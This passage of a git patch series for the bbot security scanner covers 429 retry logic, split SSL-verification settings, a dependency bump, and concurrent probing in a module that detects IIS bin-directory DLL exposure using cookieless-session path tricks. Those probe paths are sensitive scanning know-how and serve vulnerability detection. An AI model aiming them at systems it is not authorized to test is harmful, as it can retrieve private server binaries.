self._deferred_events) delay = max(0.1, earliest - time.monotonic()) + self._wakeup_pending = True self.helpers.create_task(self._deferred_wakeup(delay)) return @@ -313,18 +320,21 @@ async def resolve_https(key, result): if result.success and result.response is not None and result.response.status == 429: url = result.url host = urlparse(url).hostname - retry_count = self._429_retry_counts.get(url, 0) + 1 - self._429_retry_counts[url] = retry_count - if retry_count <= self._max_429_retries: - retry_after = self._parse_retry_after(result.response) - self._set_host_cooldown(host, retry_after) - self._defer_event(stdin[url]) - self.verbose( - f"429 from {host} ({url}), cooling down {retry_after}s (attempt {retry_count}/{self._max_429_retries})" - ) - continue - else: + parent_event = stdin[url] + event_key = self._incoming_dedup_hash(parent_event) + retry_count = self._429_retry_counts.get(event_key, 0) + if retry_count >= self._max_429_retries: self.warning(f"429 from {url} after {self._max_429_retries} retries, giving up") + self._429_retry_counts.pop(event_key, None) + continue + retry_after = self._parse_retry_after(result.response) + self._set_host_cooldown(host, retry_after) + if self._defer_event(parent_event): + self._429_retry_counts[event_key] = retry_count + 1 + self.verbose( + f"429 from {host} ({url}), cooling down {retry_after}s (attempt {retry_count + 1}/{self._max_429_retries})" + ) + continue key = paired_probe_urls.get(result.url) if key is None: diff --git a/bbot/test/test_step_2/module_tests/test_module_http.py b/bbot/test/test_step_2/module_tests/test_module_http.py index 659311cba7..ce1e372ef5 100644 --- a/bbot/test/test_step_2/module_tests/test_module_http.py +++ b/bbot/test/test_step_2/module_tests/test_module_http.py @@ -1,3 +1,5 @@ +from werkzeug.wrappers import Response + from .base import ModuleTestBase @@ -173,3 +175,53 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): # Ensure we received the expected response when the cookie was present assert [e for e in events if e.type == "URL" and "status-200" in e.tags] + + +class TestHTTP_429_retry(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http"] + config_overrides = {"web": {"429_sleep_interval": 1, "429_max_sleep_interval": 1}} + + async def setup_after_prep(self, module_test): + self.request_count = 0 + + def handler(request): + self.request_count += 1 + if self.request_count <= 1: + return Response("rate limited", status=429, headers={"Retry-After": "1"}) + return Response("OK") + + module_test.httpserver.expect_request("/").respond_with_handler(handler) + + def check(self, module_test, events): + assert self.request_count >= 2, "Expected retry after 429" + assert any(e.type == "URL" and "status-200" in e.tags for e in events), ( + "Expected URL with status-200 after successful retry" + ) + assert not any(e.type == "URL" and "status-429" in e.tags for e in events), ( + "429 response should not be emitted as a URL event" + ) + + +class TestHTTP_429_max_retries(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http"] + config_overrides = {"web": {"429_sleep_interval": 1, "429_max_sleep_interval": 1}} + + async def setup_after_prep(self, module_test): + self.request_count = 0 + + def handler(request): + self.request_count += 1 + return Response("rate limited", status=429, headers={"Retry-After": "1"}) + + module_test.httpserver.expect_request("/").respond_with_handler(handler) + + def check(self, module_test, events): + assert self.request_count >= 2, "Expected at least one retry before giving up" + assert not any(e.type == "URL" and "status-429" in e.tags for e in events), ( + "Exhausted 429 retries should not emit a URL event" + ) + assert not any(e.type == "HTTP_RESPONSE" and e.data.get("status_code") == 429 for e in events), ( + "Exhausted 429 retries should not emit an HTTP_RESPONSE event" + ) From 3fcd2bf85569d18cbb8f7b63bdb93721cda678eb Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 14 Jun 2026 14:18:23 -0400 Subject: [PATCH 797/912] aspnet_bin_exposure: fan out probes concurrently, bump module threads to 2 Use request_batch_stream to fire all 10 DLL probes (5 DLLs x 2 techniques) concurrently instead of sequentially. On dead/unresponsive hosts this collapses 10 serial 10s timeouts into a single timeout cycle. Combined with _module_threads=2, dead-host throughput improves ~20x (100s -> ~5s per URL). --- bbot/modules/aspnet_bin_exposure.py | 88 +++++++++++++++-------------- 1 file changed, 46 insertions(+), 42 deletions(-) diff --git a/bbot/modules/aspnet_bin_exposure.py b/bbot/modules/aspnet_bin_exposure.py index 0198179b0c..fb671cd2d9 100644 --- a/bbot/modules/aspnet_bin_exposure.py +++ b/bbot/modules/aspnet_bin_exposure.py @@ -12,6 +12,8 @@ class aspnet_bin_exposure(BaseModule): } in_scope_only = True + _module_threads = 2 + test_dlls = [ "Telerik.Web.UI.dll", "Newtonsoft.Json.dll", @@ -19,6 +21,10 @@ class aspnet_bin_exposure(BaseModule): "EntityFramework.dll", "AjaxControlToolkit.dll", ] + _techniques = [ + "b/(S(X))in/###DLL_PLACEHOLDER###/(S(X))/", + "(S(X))/b/(S(X))in/###DLL_PLACEHOLDER###", + ] @staticmethod def normalize_url(url): @@ -27,54 +33,52 @@ def normalize_url(url): def _incoming_dedup_hash(self, event): return hash(self.normalize_url(event.url)) + @staticmethod + def _is_dll_download(response): + return ( + response is not None + and response.status_code == 200 + and "content-type" in response.headers + and "application/x-msdownload" in response.headers["content-type"] + ) + async def handle_event(self, event): normalized_url = self.normalize_url(event.url) + kwargs = {"method": "GET", "allow_redirects": False, "timeout": 10} + + probes = [] for test_dll in self.test_dlls: - for technique in ["b/(S(X))in/###DLL_PLACEHOLDER###/(S(X))/", "(S(X))/b/(S(X))in/###DLL_PLACEHOLDER###"]: + for technique in self._techniques: test_url = f"{normalized_url}{technique.replace('###DLL_PLACEHOLDER###', test_dll)}" - self.debug(f"Sending test URL: [{test_url}]") - kwargs = {"method": "GET", "allow_redirects": False, "timeout": 10} - test_result = await self.helpers.request(test_url, **kwargs) - if test_result: - if test_result.status_code == 200 and ( - "content-type" in test_result.headers - and "application/x-msdownload" in test_result.headers["content-type"] - ): - self.debug( - f"Got positive result for probe with test url: [{test_url}]. Status Code: [{test_result.status_code}] Content Length: [{len(test_result.content)}]" - ) + probes.append((test_url, kwargs, technique)) + + async for test_url, test_result, technique in self.helpers.request_batch_stream(probes, threads=10): + if not self._is_dll_download(test_result): + continue + + self.debug( + f"Got positive result for probe with test url: [{test_url}]. Status Code: [{test_result.status_code}] Content Length: [{len(test_result.content)}]" + ) - if test_result.status_code == 200 and ( - "content-type" in test_result.headers - and "application/x-msdownload" in test_result.headers["content-type"] - ): - confirm_url = ( - f"{normalized_url}{technique.replace('###DLL_PLACEHOLDER###', 'oopsnotarealdll.dll')}" - ) - confirm_result = await self.helpers.request(confirm_url, **kwargs) + confirm_url = f"{normalized_url}{technique.replace('###DLL_PLACEHOLDER###', 'oopsnotarealdll.dll')}" + confirm_result = await self.helpers.request(confirm_url, **kwargs) - if confirm_result and ( - confirm_result.status_code != 200 - or not ( - "content-type" in confirm_result.headers - and "application/x-msdownload" in confirm_result.headers["content-type"] - ) - ): - description = f"IIS Bin Directory DLL Exposure. Detection Url: [{test_url}]" - await self.emit_event( - { - "name": "IIS Bin Directory DLL Exposure", - "severity": "HIGH", - "confidence": "HIGH", - "host": str(event.host), - "url": normalized_url, - "description": description, - }, - "FINDING", - event, - context="{module} detected IIS Bin Directory DLL Exposure vulnerability", - ) - return True + if confirm_result and not self._is_dll_download(confirm_result): + description = f"IIS Bin Directory DLL Exposure. Detection Url: [{test_url}]" + await self.emit_event( + { + "name": "IIS Bin Directory DLL Exposure", + "severity": "HIGH", + "confidence": "HIGH", + "host": str(event.host), + "url": normalized_url, + "description": description, + }, + "FINDING", + event, + context="{module} detected IIS Bin Directory DLL Exposure vulnerability", + ) + return True async def filter_event(self, event): if "dir" in event.tags: From 46e9e971486836d782c770db81d4b45c447bfe47 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 15 Jun 2026 13:51:36 -0400 Subject: [PATCH 798/912] Split ssl_verify into target vs infrastructure settings Replace the single `ssl_verify` config with two explicit options: - `ssl_verify_target` (default false) for scan target traffic - `ssl_verify_infrastructure` (default true) for APIs, downloads, interactsh, ASNDB, etc. --- bbot/core/config/models.py | 3 ++- bbot/core/helpers/asn.py | 2 +- bbot/core/helpers/interactsh.py | 13 +++++++++++-- bbot/core/helpers/web/web.py | 13 ++++++++++--- bbot/defaults.yml | 6 ++++-- bbot/modules/base.py | 2 ++ bbot/scanner/preset/environ.py | 4 ++-- bbot/scanner/scanner.py | 2 +- .../test_scan_throughput_benchmarks.py | 2 +- bbot/test/test_step_1/test_web.py | 17 +++++++++++++---- 10 files changed, 47 insertions(+), 17 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index f478299ee9..b22cc93cde 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -295,7 +295,8 @@ class WebConfig(BaseModel): max_sleep_interval_429: Optional[int] = Field(default=None, alias="429_max_sleep_interval") debug: Optional[bool] = None http_max_redirects: Optional[int] = None - ssl_verify: Optional[bool] = None + ssl_verify_target: Optional[bool] = None + ssl_verify_infrastructure: Optional[bool] = None class EngineConfig(BaseModel): diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 0491b97f4f..055970a647 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -28,7 +28,7 @@ def client(self): if self._client is None: from asndb import ASNDB - ssl_verify = self.parent_helper.web_config.get("ssl_verify", False) + ssl_verify = self.parent_helper.web_config.get("ssl_verify_infrastructure", True) api_key = self.parent_helper.config.get("bbot_io_api_key", None) self._client = ASNDB(bbot_io_api_key=api_key, verify=ssl_verify) return self._client diff --git a/bbot/core/helpers/interactsh.py b/bbot/core/helpers/interactsh.py index a7d5e59634..e178c6db8a 100644 --- a/bbot/core/helpers/interactsh.py +++ b/bbot/core/helpers/interactsh.py @@ -140,7 +140,11 @@ async def register(self, callback=None): "correlation-id": self.correlation_id, } r = await self.parent_helper.request( - f"https://{server}/register", headers=headers, json=data, method="POST" + f"https://{server}/register", + headers=headers, + json=data, + method="POST", + ssl_verify=self.parent_helper.web.ssl_verify_infrastructure, ) if r is None: continue @@ -190,7 +194,11 @@ async def deregister(self): data = {"secret-key": self.secret, "correlation-id": self.correlation_id} r = await self.parent_helper.request( - f"https://{self.server}/deregister", headers=headers, json=data, method="POST" + f"https://{self.server}/deregister", + headers=headers, + json=data, + method="POST", + ssl_verify=self.parent_helper.web.ssl_verify_infrastructure, ) if self._poll_task is not None: @@ -241,6 +249,7 @@ async def poll(self): f"https://{self.server}/poll?id={self.correlation_id}&secret={self.secret}", headers=headers, timeout=15, + ssl_verify=self.parent_helper.web.ssl_verify_infrastructure, ) if r is None: raise InteractshError("Error polling interact.sh: No response from server") diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index c597ee7905..cd97020fb1 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -49,7 +49,8 @@ class WebHelper: Attributes: parent_helper (object): The parent helper object containing scan configurations. http_debug (bool): Flag to indicate whether HTTP debugging is enabled. - ssl_verify (bool): Flag to indicate whether SSL verification is enabled. + ssl_verify_target (bool): Whether to verify SSL for target-directed traffic (default False). + ssl_verify_infrastructure (bool): Whether to verify SSL for non-target traffic (default True). Examples: Basic web request: @@ -71,7 +72,8 @@ def __init__(self, parent_helper): self.web_spider_distance = self.web_config.get("spider_distance", 0) self.target = self.preset.target self.http_debug = self.web_config.get("debug", False) - self.ssl_verify = self.web_config.get("ssl_verify", False) + self.ssl_verify_target = self.web_config.get("ssl_verify_target", False) + self.ssl_verify_infrastructure = self.web_config.get("ssl_verify_infrastructure", True) # Pre-compute config values for request preprocessing self._http_timeout = self.web_config.get("http_timeout", 20) self._http_retries = self.web_config.get("http_retries", 1) @@ -122,6 +124,7 @@ def _build_blasthttp_kwargs(self, url, **kwargs): params = kwargs.pop("params", None) cookies = kwargs.pop("cookies", None) auth = kwargs.pop("auth", None) + ssl_verify = kwargs.pop("ssl_verify", None) max_body_size = kwargs.pop("max_body_size", None) request_target = kwargs.pop("request_target", None) resolve_ip = kwargs.pop("resolve_ip", None) @@ -199,7 +202,7 @@ def _build_blasthttp_kwargs(self, url, **kwargs): "method": method, "headers": header_list, "timeout": int(timeout) if timeout else self._http_timeout, - "verify_certs": bool(self.ssl_verify), + "verify_certs": bool(ssl_verify if ssl_verify is not None else self.ssl_verify_target), "retries": int(retries), } @@ -251,6 +254,8 @@ async def request(self, *args, **kwargs): proxy (str, optional): HTTP proxy URL. allow_redirects (bool, optional): Enables or disables redirection. Defaults to None. raise_error (bool, optional): Whether to raise exceptions for HTTP connect, timeout errors. Defaults to False. + ssl_verify (bool, optional): Override SSL certificate verification for this request. + Defaults to ssl_verify_target for target traffic; pass ssl_verify_infrastructure for API/infra calls. request_target (str, optional): Override the HTTP request-line target. resolve_ip (str, optional): Connect TCP to this IP instead of DNS resolution. ignore_bbot_global_settings (bool, optional): Skip User-Agent/header/cookie merging. @@ -455,6 +460,8 @@ async def download(self, url, **kwargs): kwargs["follow_redirects"] = kwargs.pop("follow_redirects", True) if "method" not in kwargs: kwargs["method"] = "GET" + if "ssl_verify" not in kwargs: + kwargs["ssl_verify"] = self.ssl_verify_infrastructure kwargs["raise_error"] = True # Use a longer timeout for downloads (default 5 minutes) if "timeout" not in kwargs: diff --git a/bbot/defaults.yml b/bbot/defaults.yml index b2928da9b9..b28472948d 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -132,8 +132,10 @@ web: debug: false # Maximum number of HTTP redirects to follow http_max_redirects: 5 - # Whether to verify SSL certificates - ssl_verify: false + # Whether to verify SSL certificates for target-directed traffic (probes, crawls, etc.) + ssl_verify_target: false + # Whether to verify SSL certificates for non-target traffic (APIs, wordlist downloads, etc.) + ssl_verify_infrastructure: true # Maximum HTTP requests per second (0 = unlimited) # Applies globally across all blasthttp consumers (http probing, web brute, etc.) http_rate_limit: 0 diff --git a/bbot/modules/base.py b/bbot/modules/base.py index f6d94d027e..456ce6f8db 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -1302,6 +1302,8 @@ async def api_request(self, *args, **kwargs): for _ in range(self.api_retries): if "headers" not in kwargs: kwargs["headers"] = {} + if "ssl_verify" not in kwargs: + kwargs["ssl_verify"] = self.helpers.web.ssl_verify_infrastructure new_url, kwargs = self.prepare_api_request(url, kwargs) kwargs["url"] = new_url diff --git a/bbot/scanner/preset/environ.py b/bbot/scanner/preset/environ.py index 4abe3e92e7..8581e05890 100644 --- a/bbot/scanner/preset/environ.py +++ b/bbot/scanner/preset/environ.py @@ -129,10 +129,10 @@ def prepare(self): import urllib3 urllib3.disable_warnings() - ssl_verify = self.preset.config.get("web", {}).get("ssl_verify", False) + ssl_verify_infrastructure = self.preset.config.get("web", {}).get("ssl_verify_infrastructure", True) global REQUESTS_PATCHED - if not ssl_verify and not REQUESTS_PATCHED: + if not ssl_verify_infrastructure and not REQUESTS_PATCHED: REQUESTS_PATCHED = True import requests import functools diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 652a861211..a223e6751a 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -328,7 +328,7 @@ async def _prep(self): creates the scan's output folder, loads its modules, and calls their .setup() methods. """ # expand async seed types (e.g. ASN → IP ranges) - ssl_verify = self.preset.web_config.get("ssl_verify", False) + ssl_verify = self.preset.web_config.get("ssl_verify_infrastructure", True) await self.preset.target.generate_children(ssl_verify=ssl_verify) # evaluate preset conditions (may abort the scan) diff --git a/bbot/test/benchmarks/test_scan_throughput_benchmarks.py b/bbot/test/benchmarks/test_scan_throughput_benchmarks.py index eaf1c5c3b9..1ccfdbc9ad 100644 --- a/bbot/test/benchmarks/test_scan_throughput_benchmarks.py +++ b/bbot/test/benchmarks/test_scan_throughput_benchmarks.py @@ -55,7 +55,7 @@ def _run_scan(num_urls): targets = [f"http://127.0.0.1:{BENCH_PORT}/dir{i}/" for i in range(num_urls)] config = { - "web": {"http_timeout": 10, "http_retries": 0, "ssl_verify": False}, + "web": {"http_timeout": 10, "http_retries": 0, "ssl_verify_target": False}, "scope": {"search_distance": 0, "report_distance": 0}, "modules": {"speculate": {"ports": str(BENCH_PORT)}}, "excavate": False, diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index 2c31e17a5d..99b709a206 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -521,20 +521,29 @@ async def test_http_ssl(bbot_scanner, bbot_httpserver_ssl): # test user agent + custom headers bbot_httpserver_ssl.expect_request(uri=endpoint).respond_with_data("test_http_ssl_yep") - scan1 = bbot_scanner("127.0.0.1", config={"web": {"ssl_verify": True, "debug": True}}) - scan2 = bbot_scanner("127.0.0.1", config={"web": {"ssl_verify": False, "debug": True}}) + # ssl_verify_target controls target-directed traffic + scan1 = bbot_scanner("127.0.0.1", config={"web": {"ssl_verify_target": True, "debug": True}}) + scan2 = bbot_scanner("127.0.0.1", config={"web": {"ssl_verify_target": False, "debug": True}}) await scan1._prep() await scan2._prep() r1 = await scan1.helpers.request(url) - assert r1 is None, "Request to self-signed SSL server went through even with ssl_verify=True" + assert r1 is None, "Request to self-signed SSL server went through even with ssl_verify_target=True" r2 = await scan2.helpers.request(url) - assert r2 is not None, "Request to self-signed SSL server failed even with ssl_verify=False" + assert r2 is not None, "Request to self-signed SSL server failed even with ssl_verify_target=False" assert r2.status_code == 200 and r2.text == "test_http_ssl_yep" await scan1._cleanup() await scan2._cleanup() + # ssl_verify per-request override (used by infrastructure callers like api_request/download) + scan3 = bbot_scanner("127.0.0.1", config={"web": {"ssl_verify_target": True, "debug": True}}) + await scan3._prep() + r3 = await scan3.helpers.request(url, ssl_verify=False) + assert r3 is not None, "Per-request ssl_verify=False override did not bypass verification" + assert r3.status_code == 200 and r3.text == "test_http_ssl_yep" + await scan3._cleanup() + @pytest.mark.asyncio async def test_web_cookies(bbot_scanner, bbot_httpserver): From 4c791d14ebdeef4d458416deb46c71794fac72af Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 15 Jun 2026 17:40:20 -0400 Subject: [PATCH 799/912] Bump blasthttp to >=0.9.0 and regenerate uv.lock --- pyproject.toml | 2 +- uv.lock | 154 ++++++++++++++++++++++++------------------------- 2 files changed, 78 insertions(+), 78 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 205df577bd..2eb1f8bab8 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,7 +48,7 @@ dependencies = [ "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=10.0.0,<11", - "blasthttp>=0.8.0", + "blasthttp>=0.9.0", "blastdns>=1.9.0,<2", "zstandard>=0.22,<1", ] diff --git a/uv.lock b/uv.lock index ecf3416166..eb02093431 100644 --- a/uv.lock +++ b/uv.lock @@ -263,7 +263,7 @@ requires-dist = [ { name = "asndb", specifier = ">=1.0.4" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, { name = "blastdns", specifier = ">=1.9.0,<2" }, - { name = "blasthttp", specifier = ">=0.8.0" }, + { name = "blasthttp", specifier = ">=0.9.0" }, { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, { name = "cloudcheck", specifier = ">=10.0.0,<11" }, { name = "deepdiff", specifier = ">=8.0.0,<10" }, @@ -311,7 +311,7 @@ dev = [ { name = "pytest-httpx", specifier = ">=0.35" }, { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, - { name = "ruff", specifier = "==0.15.16" }, + { name = "ruff", specifier = "==0.15.17" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, { name = "uvicorn", specifier = ">=0.32,<0.50" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, @@ -446,60 +446,60 @@ wheels = [ [[package]] name = "blasthttp" -version = "0.8.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/63/cc/9840c1fd5aa0d71b9ec18702f4829c617a74543c819f845c2eb3e4b51b17/blasthttp-0.8.0.tar.gz", hash = "sha256:0b787e943ef0e779874802e854540a74bbdadc9729a4769ef0380e2005dc8a0e", size = 151255, upload-time = "2026-06-03T16:42:43.633Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/11/ec/7e7c649179cf135ab45e10202b39b790336a298274913ead9fb794336c28/blasthttp-0.8.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:d612d881349b112532db009f57c0f124202c2ea092c3dfe5997485f6a6068d41", size = 4766659, upload-time = "2026-06-03T16:41:18.973Z" }, - { url = "https://files.pythonhosted.org/packages/81/82/b5ab2f248502903d6a1e3df185bae1c96be93071e58e597701febd0c55cf/blasthttp-0.8.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:c77cc50f2d13099dbc815a29d84afa6d41f8ec3d240a5167d04dbb495287ed3d", size = 4072367, upload-time = "2026-06-03T16:41:28.158Z" }, - { url = "https://files.pythonhosted.org/packages/4d/8c/ad5e0100b03a7841405d8f32a2e2665dfa46a9167dbcac34b009a67637fb/blasthttp-0.8.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:525c40ab906434b32a957fa76fd3b24f751a813c0b15d23139c978a9723c01ea", size = 4673550, upload-time = "2026-06-03T16:41:54.206Z" }, - { url = "https://files.pythonhosted.org/packages/b9/ec/e39609abf7051ebc44e33456d996c2aa66f184d4a03ea920c589da3432de/blasthttp-0.8.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:449832f5dfdfbc9f1a3886d6839b8eabb059ba370ba1d696ae1827ce70fe181e", size = 4675954, upload-time = "2026-06-03T16:41:37.225Z" }, - { url = "https://files.pythonhosted.org/packages/9d/83/35aabf2494b995280183cd5ab41c14d063f71353e10d3416b9bedae7512a/blasthttp-0.8.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:0ee4305bfd7691ee48e2cf93f50561bd61e9489a8f2fd10d8848aafa14a92b89", size = 4280601, upload-time = "2026-06-03T16:41:45.581Z" }, - { url = "https://files.pythonhosted.org/packages/ce/d5/870e740a7cc8d44e4939cfb065f8a8d7d6870b790a6c35bbbd3157d920ae/blasthttp-0.8.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:04994ff6475c253a8a1d21d48c28f100d1bd971b060e249b4d92b283418942ce", size = 4419858, upload-time = "2026-06-03T16:42:02.733Z" }, - { url = "https://files.pythonhosted.org/packages/a0/47/779d9619a47a19ada6d32556f63983b100ffcd963aa1b729c58c89c89357/blasthttp-0.8.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ea400428e382c1895876c6bbc47e3d79d0eaef25b6c50479262595ca22106e27", size = 5053409, upload-time = "2026-06-03T16:42:10.735Z" }, - { url = "https://files.pythonhosted.org/packages/0b/f0/f30b9408b917299e6503bece467db802993310341cd447ebdb29096a0bae/blasthttp-0.8.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:e4979eaa9611b97f735eb6a46d0f77d2648d5121da1102252524bb099e794de1", size = 4371652, upload-time = "2026-06-03T16:42:19.302Z" }, - { url = "https://files.pythonhosted.org/packages/74/9d/74952ed6322a8a18fa8062618f73b91a0ad88d69092963432f8d71f54728/blasthttp-0.8.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:005719f09b8a5720eca7cc7be1d6b821292e2a7cc28463c505e352330a5a2cfc", size = 4798263, upload-time = "2026-06-03T16:42:27.529Z" }, - { url = "https://files.pythonhosted.org/packages/24/47/8c19097109946ac995dc3e49d0cbd416b74ee1e1c9dfe285653944e5da72/blasthttp-0.8.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:72905248b0dd7b265d4c5ce38e788d01e6fa37b52bea93a0a88f06ff148500fb", size = 4763936, upload-time = "2026-06-03T16:42:35.757Z" }, - { url = "https://files.pythonhosted.org/packages/d0/76/79b81c1f12855ff9383a08d77a80e36c56fc1852d769206dd53639082300/blasthttp-0.8.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:f430adde5ea5bd256eff384b1a597d1b531098e778832793185c1089fd5b326b", size = 4762675, upload-time = "2026-06-03T16:41:21.002Z" }, - { url = "https://files.pythonhosted.org/packages/0c/be/8622197fb0b314aec8911b6dc23365dfb8c1a3a18c30d054bc25cd493d7b/blasthttp-0.8.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:3995fa2bfd63c53b88c3c0935db3e83cc2e0bea47d833d1400eb4b1c3f1f051c", size = 4068872, upload-time = "2026-06-03T16:41:29.791Z" }, - { url = "https://files.pythonhosted.org/packages/af/1d/42cd96c86f299efa5adf2331598a5098615b0f554c160747539ed655984e/blasthttp-0.8.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:84e8fd4d1ead51ccd8b2e01f2c0366fde74eabc280d9c2ef8ced75d5cdf58ccb", size = 4670332, upload-time = "2026-06-03T16:41:56.136Z" }, - { url = "https://files.pythonhosted.org/packages/95/2c/368dcea7436bf957f7b1520c6f641bd9a0e7841791bf662bacc1efebd8d8/blasthttp-0.8.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:7fc598b6730ecb3ff19cc53c054dc284d1d3172011966c3ac20ae4327e5c7c54", size = 4671455, upload-time = "2026-06-03T16:41:38.802Z" }, - { url = "https://files.pythonhosted.org/packages/1a/bf/52260edadf29b7fc2b7bcb7301ad034aaeb4605c8f85146cf58b2baa9c2b/blasthttp-0.8.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:0d47973955bcc05f2a527d60b655801c5a8fab7e39d0d5682a980300b7f4747b", size = 4278094, upload-time = "2026-06-03T16:41:47.203Z" }, - { url = "https://files.pythonhosted.org/packages/50/75/d634aedfa9b16b6a68a918fd604ca4eab9d1bce01093b28de16638aa29be/blasthttp-0.8.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:284a89501ee21176c45413335a8a33985d2cd89a1fa27897b504f26bf8f26607", size = 4417252, upload-time = "2026-06-03T16:42:04.281Z" }, - { url = "https://files.pythonhosted.org/packages/1f/cb/337aa749f8c4a93c7dd23b038a450b30fd860474e0f801b18c9e77655fc8/blasthttp-0.8.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:21f516fa245327a7799dea294bd0ad51ab113910d3f4a36db84db0c03c42f7c6", size = 5050777, upload-time = "2026-06-03T16:42:12.391Z" }, - { url = "https://files.pythonhosted.org/packages/07/5f/03a8cf80af2bea3fda5e1ab05610e9f1d63e8b941070a18d61e8f402a335/blasthttp-0.8.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:61680c32f5f13e4653b793599700505f1be8c3e7b1a8f8e3f6eb2fcd641c8cae", size = 4367115, upload-time = "2026-06-03T16:42:20.812Z" }, - { url = "https://files.pythonhosted.org/packages/24/b3/b85722cd76ecb1c4fd7ce29721bb2ea3cb25a1780a0084e103b581bd7d3b/blasthttp-0.8.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:9a6734b00d24ca6f8a05e6522657a79b94eb6910a168a618cff6b5cb0a70cee5", size = 4794630, upload-time = "2026-06-03T16:42:29.14Z" }, - { url = "https://files.pythonhosted.org/packages/59/17/35bb64ba2897339a24cf6ba01040e948925ca821d04b172b9d5bd2aeed3c/blasthttp-0.8.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:8a450c7ff0200997e9295445b9c6b74116fecedd8d1ea63948358227f280b7b0", size = 4760089, upload-time = "2026-06-03T16:42:37.188Z" }, - { url = "https://files.pythonhosted.org/packages/ff/14/1f2a79d684b3f90f61bf48a0c0d6c9059565376549ec03b7be0f663b296b/blasthttp-0.8.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:434b2b0e74f001bc1ed632a35f06a05b4152836d1a7eeb39b2c867e319f66b4d", size = 4763470, upload-time = "2026-06-03T16:41:22.959Z" }, - { url = "https://files.pythonhosted.org/packages/f0/49/6f543fa2bcfbf2a0e19d643746927d9f6eb7634c0ac3f4ce227415646c38/blasthttp-0.8.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:690d784daf18cef8a0f378fddd726f583923063ce14b0a279c5ff48fb35217b8", size = 4074767, upload-time = "2026-06-03T16:41:31.701Z" }, - { url = "https://files.pythonhosted.org/packages/e4/82/8c2df0463e51e3ee3f1ee8808b3c220ca50240e83cc4fdb38fba35764833/blasthttp-0.8.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:6730f5505885653896fa26b078ec4b8daef2935ac8f9b6f41b396f748ab7fd4f", size = 4660618, upload-time = "2026-06-03T16:41:57.789Z" }, - { url = "https://files.pythonhosted.org/packages/83/a6/ff39bb6d752b41e38f1dff43de515c67a329f899dbe1857ddabf4a0db489/blasthttp-0.8.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:e1ed0c244e2e185ab6e546a61b8e30b61b44adeb539e66f5bd72e07a9f8cf2b5", size = 4662981, upload-time = "2026-06-03T16:41:40.399Z" }, - { url = "https://files.pythonhosted.org/packages/7c/de/f61912ea57e5fd5eaa4aa45a349b519e7e9c330996c11f27dfb595f9392e/blasthttp-0.8.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:8aa85157a05f7cbe75d51defddbb7434df5001a602fda3c88245fd9a42525d7a", size = 4280587, upload-time = "2026-06-03T16:41:48.937Z" }, - { url = "https://files.pythonhosted.org/packages/bf/69/510e5e0742f96da1fd97f95fe2ffcd01e0cddca6010bec7a859a841cd82b/blasthttp-0.8.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:30384006892fe222ce410d5d756733aa303c63d458156c9e36c9e79d4d1a7a1d", size = 4413650, upload-time = "2026-06-03T16:42:05.88Z" }, - { url = "https://files.pythonhosted.org/packages/94/f9/684e6236d8daa332f3e8756e2b3587faca1230391a2498978e411f68b216/blasthttp-0.8.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = 